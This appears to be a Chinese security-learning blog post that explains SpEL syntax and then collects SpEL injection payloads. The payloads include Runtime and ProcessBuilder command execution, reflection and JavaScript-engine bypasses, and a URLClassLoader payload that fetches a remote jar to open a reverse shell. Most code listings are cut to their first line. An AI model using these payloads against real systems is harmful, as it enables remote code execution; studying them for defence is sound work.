SpEL 表达式注入
Java 之 SpEL 表达式注入
0x01 前言
尽量 SpEL 表达式,EL 表达式放一块儿学
0x02 SpEL 表达式基础
SpEL 简介
在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。
在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext
中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
SpEL 有许多特性:
- 使用 Bean 的 ID 来引用 Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
SpEL 定界符 —— #{}
SpEL 使用 #{}
作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 Bean 及其属性和方法等。
这里需要注意 #{}
和 ${}
的区别:
#{}
就是 SpEL 的定界符,用于指明内容未 SpEL 表达式并执行;${}
主要用于加载外部属性文件中的值;- 两者可以混合使用,但是必须
#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的;
SpEL 表达式类型
字面值
最简单的 SpEL 表达式就是仅包含一个字面值。
下面我们在 XML 配置文件中使用 SpEL 设置类属性的值为字面值,此时需要用到 #{}
定界符,注意若是指定为字符串的话需要添加单引号括起来:
1 | <property name="message1" value="#{666}"/> |
还可以直接与字符串混用:
1 | <property name="message" value="the value is #{666}"/> |
Java 基本数据类型都可以出现在 SpEL 表达式中,表达式中的数字也可以使用科学计数法:
1 | <property name="salary" value="#{1e4}"/> |
Demo
直接用 Spring 官网上的 HelloWorld 例子。
HelloWorld.java
1 | package com.example; |
Demo.xml
1 |
|
MainTestDemo.java
1 | public class MainTestDemo { |
测试一下
引用 Bean、属性和方法
引用 Bean
SpEL 表达式能够通过其他 Bean 的 ID 进行引用,直接在 #{}
符号中写入 ID 名即可,无需添加单引号括起来。如:
原来的写法是这样的
1 | <constructor-arg ref="test"/> |
在 SpEL 表达式中
1 | <constructor-arg value="#{test}"/> |
引用类属性
SpEL 表达式能够访问类的属性。
比如,Drunkbaby 参赛者是一位模仿高手,Johnford 唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:
1 | <bean id="kenny" class="com.spring.entity.Instrumentalist" |
key 指定 kenny<bean>
的 id
value 指定 kenny<bean>
的 song 属性。其等价于执行下面的代码:
1 | Instrumentalist carl = new Instrumentalist(); |
引用类方法
SpEL 表达式还可以访问类的方法。
假设现在有个 SongSelector
类,该类有个 selectSong()
方法,这样的话 Drunkbaby 就可以不用模仿别人,开始唱 songSelector
所选的歌了:
1 | <property name="song" value="#{SongSelector.selectSong()}"/> |
carl 有个癖好,歌曲名不是大写的他就浑身难受,我们现在要做的就是仅仅对返回的歌曲调用 toUpperCase()
方法:
1 | <property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/> |
注意:这里我们不能确保不抛出 NullPointerException
,为了避免这个讨厌的问题,我们可以使用 SpEL 的 null-safe
存取器:
1 | <property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/> |
?.
符号会确保左边的表达式不会为 null
,如果为 null
的话就不会调用 toUpperCase()
方法了。
Demo —— 引用 Bean
这里我们修改基于构造函数的依赖注入的示例。
SpellChecker.java
1 | public class SpellChecker { |
TextEditor.java
1 | public class TextEditor { |
编写 editor.xml
1 |
|
启动类 RefSpellAndEditor.java
1 | public class RefSpellAndEditor { |
类类型表达式 T(Type)
在 SpEL 表达式中,使用 T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用 T(Type)
来表示 java.lang.Class
实例,Type 必须是类全限定名,但 ”java.lang”
包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
这里就有潜在的攻击面了
因为我们java.lang.Runtime
这个包也是包含于java.lang
的包的,所以如果能调用Runtime
就可以进行命令执行
在 XML 配置文件中的使用示例,要调用 java.lang.Math
来获取 0~1 的随机数
1 | <property name="random" value="#{T(java.lang.Math).random()}"/> |
Expression 中使用示例:
1 | ExpressionParser parser = new SpelExpressionParser(); |
Demo
在前面字面值的 Demo 中修改 Demo.xml
即可
1 |
|
恶意利用 —— 弹计算器
修改 value 中类类型表达式的类为 Runtime
并调用其命令执行方法即可:
1 | <bean id="helloWorld" class="com.drunkbaby.pojo.HelloWorld"> |
运行即可弹计算器。
0x03 SpEL 用法
SpEL 的用法有三种形式,一种是在注解 @Value
中;一种是 XML 配置;最后一种是在代码块中使用 Expression。
前面的就是以 XML 配置为例对 SpEL 表达式的用法进行的说明,而注解 @Value
的用法例子如下:
1 | public class EmailSender { |
这种形式的值一般是写在 properties 的配置文件中的。
- 下面具体看下 Expression 的,Expression 的用法可谓是非常重要。
Expression 用法
由于后续分析的各种 Spring CVE 漏洞都是基于 Expression 形式的 SpEL 表达式注入,因此这里再单独说明 SpEL 表达式 Expression 这种形式的用法。
步骤
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
1 | ExpressionParser parser = new SpelExpressionParser(); |
具体步骤如下:
1、创建解析器:SpEL 使用 ExpressionParser
接口表示解析器,提供 SpelExpressionParser
默认实现;
2、解析表达式:使用 ExpressionParser
的 parseExpression
来解析相应的表达式为 Expression
对象;
3、构造上下文:准备比如变量定义等等表达式需要的上下文数据;
4、求值:通过 Expression
接口的 getValue
方法根据上下文获得表达式值;
主要接口
- ExpressionParser 接口:表示解析器,默认实现是
org.springframework.expression.spel.standard
包中的SpelExpressionParser
类,使用parseExpression
方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符; - EvaluationContext 接口:表示上下文环境,默认实现是
org.springframework.expression.spel.support
包中的StandardEvaluationContext
类,使用setRootObject
方法来设置根对象,使用setVariable
方法来注册自定义变量,使用registerFunction
来注册自定义函数等等。 - Expression 接口:表示表达式对象,默认实现是
org.springframework.expression.spel.standard
包中的SpelExpression
,提供getValue
方法用于获取表达式值,提供setValue
方法用于设置对象值。
Demo
应用示例如下,和前面 XML 配置的用法区别在于程序会将这里传入 parseExpression()
函数的字符串参数当初 SpEL 表达式来解析,而无需通过 #{}
符号来注明:
1 | public class ExpressionCalc {// 字符串字面量 |
类实例化
类实例化同样使用 Java 关键字 new,类名必须是全限定名,但 java.lang
包内的类型除外。
1 | public class newClass { |
SpEL 表达式运算
下面内容引用自 SpEL表达式。
SpEL 提供了以下几种运算符
运算符类型 | 运算符 |
---|---|
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
算数运算
加法运算:
1 | <property name="add" value="#{counter.total+42}"/> |
加号还可以用于字符串拼接:
1 | <property name="blogName" value="#{my blog name is+' '+mrBird }"/> |
^
运算符执行幂运算,其余算数运算符和 Java 一毛一样,这里不再赘述。
关系运算
判断一个 Bean 的某个属性是否等于 100:
1 | <property name="eq" value="#{counter.total==100}"/> |
返回值是 boolean 类型。关系运算符唯一需要注意的是:在 Spring XML 配置文件中直接写 >=
和 <=
会报错。因为这 ”<
” 和 ”>
” 两个符号在 XML 中有特殊的含义。所以实际使用时,最好使用文本类型代替符号:
运算符 | 符号 | 文本类型 |
---|---|---|
等于 | == | eq |
小于 | < | lt |
小于等于 | <= | le |
大于 | > | gt |
大于等于 | >= | ge |
如
1 | <property name="eq" value="#{counter.total le 100}"/> |
逻辑运算
SpEL 表达式提供了多种逻辑运算符,其含义和 Java 也是一毛一样,只不过符号不一样罢了。
使用 and
运算符:
1 | <property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/> |
两边为 true 时才返回 true。
其余操作一样,只不过非运算有 not
和 !
两种符号可供选择。非运算:
1 | <property name="outOfStack" value="#{!product.available}"/> |
条件运算
条件运算符类似于 Java 的三目运算符:
1 | <property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/> |
当选择的歌曲为 ”May Rain” 的时候,一个 id 为 piano 的 Bean 将装配到 instrument
属性中,否则一个 id 为 saxophone 的 Bean 将装配到 instrument
属性中。注意区别 piano 和字符串 “piano”!
一个常见的三目运算符的使用场合是判断是否为null值:
1 | <property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/> |
在以上示例中,如果 kenny.song
不为 null,那么表达式的求值结果是 kenny.song
否则就是 “Jingle Bells”
正则表达式
验证邮箱
1 | <property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/> |
虽然这个邮箱正则不够健壮,但对于演示 matches 来说足够了。
集合操作
SpEL 表达式支持对集合进行操作。
下面我们以示例看下能进行哪些集合操作。
我们先创建一个 City 类:
City.java
1 | package com.drunkbaby.pojo; |
修改 city.xml
,使用 <util:list>
元素配置一个包含 City 对象的 List 集合:
1 |
|
访问集合成员
SpEL 表达式支持通过 #{集合ID[i]}
的方式来访问集合中的成员。
定义一个 ChoseCity 类:
ChoseCity.java
1 | public class ChoseCity { |
在 city.xml
中,选取集合中的某一个成员,并赋值给 city 属性中,这个语句要写在 util 的外面
1 | <bean id="choseCity" class="com.drunkbaby.service.ChoseCity"> |
启动器 CityDemo.java
1 | public class CityDemo { |
运行无误则输出 ”Chicago”
随机地选择一个 city,中括号 []
运算符始终通过索引访问集合中的成员:
1 | <property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/> |
此时会随机访问一个集合成员并输出。
[]
运算符同样可以用来获取 java.util.Map
集合中的成员。例如,假设 City 对象以其名字作为键放入 Map 集合中,在这种情况下,我们可以像下面那样获取键为 Dallas 的 entry:
注意前提:是 City 对象以其名字作为键放入 Map 集合中
1 | <property name="chosenCity" value="#{cities['Dallas']}"/> |
[]
运算符的另一种用法是从 java.util.Properties
集合中取值。例如,假设我们需要通过 <util:properties>
元素在 Spring 中加载一个 properties 配置文件:
1 | <util:properties id="settings" loaction="classpath:settings.properties"/> |
现在要在这个配置文件 Bean 中访问一个名为 twitter.accessToken
的属性:
1 | <property name="accessToken" value="#{settings['twitter.accessToken']}"/> |
[]
运算符同样可以通过索引来得到某个字符串的某个字符,例如下面的表达式将返回 s:
1 | 'This is a test'[3] |
查询集合成员
SpEL 表达式中提供了查询运算符来实现查询符合条件的集合成员:
.?[]
:返回所有符合条件的集合成员;.^[]
:从集合查询中查出第一个符合条件的集合成员;.$[]
:从集合查询中查出最后一个符合条件的集合成员;
新建一个 ListChoseCity
,代码如下
ListChoseCity.java
1 | public class ListChoseCity { |
修改 city.xml
city.xml
1 | <bean id="listChoseCity" class="com.drunkbaby.service.ListChoseCity"> |
启动器 ListCityDemo.java
1 | public class ListCityDemo { |
输出了所有人口大于 10000 的城市
集合投影
集合投影就是从集合的每一个成员中选择特定的属性放入到一个新的集合中。SpEL 的投影运算符 .![]
完全可以做到这一点。
例如,我们仅需要包含城市名称的一个 String 类型的集合:
1 | <property name="cityNames" value="#{cities.![name]}"/> |
再比如,得到城市名字加州名的集合:
1 | <property name="cityNames" value="#{cities.![name+','+state]}"/> |
把符合条件的城市的名字和州名作为一个新的集合:
1 | <property name="cityNames" value="#{cities.?[population gt 100000].![name+','+state]}"/> |
1 | <property name="cityNames" value="#{cities.?[population gt 100000].![name+','+state]}"/> |
变量定义和引用
在 SpEL 表达式中,变量定义通过 EvaluationContext
类的 setVariable(variableName, value)
函数来实现;在表达式中使用 ”#variableName
” 来引用;除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象:
#this
:使用当前正在计算的上下文;#root
:引用容器的 root 对象;
示例,使用 setVariable()
函数定义了名为 variable 的变量,并且通过 #variable
来引用,同时尝试引用根对象和上下文对象:
instanceof 表达式
SpEL 支持 instanceof 运算符,跟 Java 内使用同义;如 ”'haha' instanceof T(String)
” 将返回 true。
自定义函数
目前只支持类静态方法注册为自定义函数。SpEL 使用 StandardEvaluationContext
的 registerFunction()
方法进行注册自定义函数,其实完全可以使用 setVariable
代替,两者其实本质是一样的。
示例,用户自定义实现字符串反转的函数:
1 | public class ReverseString { |
通过如下代码将方法注册到 StandardEvaluationContext
并且来使用它:
1 | public class CustomFunctionReverse { |
0x04 SpEL 表达式漏洞注入
漏洞原理
SimpleEvaluationContext
和 StandardEvaluationContext
是 SpEL 提供的两个 EvaluationContext
:
- SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
- StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext
是支持全部 SpEL 语法的。
由前面知道,SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type)
来调用任意类方法。这是因为在不指定 EvaluationContext
的情况下默认采用的是 StandardEvaluationContext
,而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
如下,前面的例子中已提过:
1 | public class BasicCalc { |
通过反射的方式进行 SpEL 注入
- 因为这里漏洞原理是调用任意类,所以我们可以通过反射的形式来展开攻击:
1 | public class ReflectBypass { |
基础 PoC&Bypass 整理
- 相关代码已同步至 GitHub,师傅们可以直接复现
下面我们来整理下各种利用的 PoC,这里默认把定界符 #{}
去掉。
PoC:
1 | // PoC原型 |
用 ProcessBuilder 来进行命令执行的代码如下
1 | public class ProcessBuilderBypass { |
基础 bypass
1 | // Bypass技巧 |
JavaScript Engine Bypass
从 ruilin 师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他 js 绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).
获取所有 js 引擎信息
1 | public static void main(String[] args) { |
通过结果中的 Names,我们知道了所有的 js 引擎名称故 getEngineByName
的参数可以填 [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:
1 | ScriptEngineManager sem = new ScriptEngineManager(); |
那么 payload 也就显而易见
1 | // JavaScript引擎通用PoC |
那么payload也就显而易见
nashorn
作 Engine
1 | String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + |
javascript
作 Engine,这里我复现失败了。
1 | new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s); |
一些尚未复现成功的 PoC
1 | // 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功 |
通过 ClassLoader 类加载器构造 PoC&Bypass
- 关于 ClassLoader Java反序列化基础篇-05-类的动态加载
URLClassLoader 结合 SpEL 表达式注入
先构造一份 Exp.jar , 放到远程 vps 即可,.class 也行
一份通过构造方法反弹 shell 的 Exp.java 实例
1 | public class Exp{ |
起一个 http 服务示例
1 | python -m SimpleHTTPServer 8990 |
Payload
注意必须使用全限定类名 , 或许这个可以过一些bypass
1 | new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333") |
在 vps 上开启监听 2333 端口即可。
AppClassLoader
- 加载 Runtime 执行
由于需要调用到静态方法所以还是要用到 T()
操作
1 | T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app") |
- 加载 ProcessBuilder 执行
1 | T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start() |
通过其他类获取 AppClassLoader
实例1:
使用 SpEL 的话一定存在名为 org.springframework
的包,这个包下有许许多多的类,而这些类的 classloader 就是 AppClassLoader
比如: org.springframework.expression.Expression
类
1 | System.out.println( org.springframework.expression.Expression.class.getClassLoader() ); |
那么很容易就可以得到一个获取 AppClassLoader 的方法 ,
1 | T(org.springframework.expression.Expression).getClass().getClassLoader() |
假设使用 thyemleaf 的话会有org.thymeleaf.context.AbstractEngineContext
1 | T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() |
假设有一个自定义的类那么可以:
1 | T(com.ctf.controller.Demo).getClass().getClassLoader() |
类比较多,不过多叙述,感觉 CTF 里面可能会出这种
通过内置对象加载 URLClassLoader
这里在 0c0c0f18 年的一个文章学到了两个 poc,部分截图如下
1 | {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")} |
request、response 对象是 Web 项目的常客,通过第一个 poc 测试发现在 Web 项目如果引入了 SpEL 的依赖,那么这两个对象会自动被注册进去。
像这样,会发现它调用的是 URLClassLoader
字符串 bypass
以下内容参考:SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)
- 我个人的感觉是实现起来有点…………嗯……不太靠谱,这里本地复现也失败了,有兴趣的师傅们可以看一下。
0x05 关于 SpEL 表达式的实战
参考项目,首先是输入点必须可控,后续会复现几个漏洞看看。
Drun1baby/JavaSecurityLearning
0x06 参考资料
- 本文标题:Java 之 SpEL 表达式注入
- 创建时间:2022-09-23 09:58:12
- 本文链接:2022/09/23/Java-之-SpEL-表达式注入/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!